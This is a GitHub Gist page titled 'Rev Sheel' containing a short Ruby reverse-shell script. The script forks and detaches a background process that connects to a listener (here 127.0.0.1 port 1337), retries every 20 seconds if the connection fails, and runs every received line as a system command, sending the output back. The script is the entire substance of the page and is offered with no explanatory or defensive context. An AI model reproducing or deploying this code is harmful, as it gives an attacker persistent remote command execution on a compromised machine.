Skip to content

Instantly share code, notes, and snippets.

@karmatr0n
Created October 22, 2025 18:29
Show Gist options
  • Save karmatr0n/428d725eb414dc747dd2e4eb67cd9699 to your computer and use it in GitHub Desktop.
Save karmatr0n/428d725eb414dc747dd2e4eb67cd9699 to your computer and use it in GitHub Desktop.
Rev Sheel
require 'socket'
require 'open3'
pid = Process.fork do
RHOST = '127.0.0.1'
PORT = 1337
begin
socket = TCPSocket.new(RHOST, PORT)
socket.print('$ ')
rescue
sleep 20
retry
end
begin
while cmd = socket.gets
Open3.popen2e(cmd) do |stdin, stdout_and_stderr|
IO.copy_stream(stdout_and_stderr, socket)
socket.print("\n$ ")
end
end
rescue
retry
end
end
Process.detach(pid)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment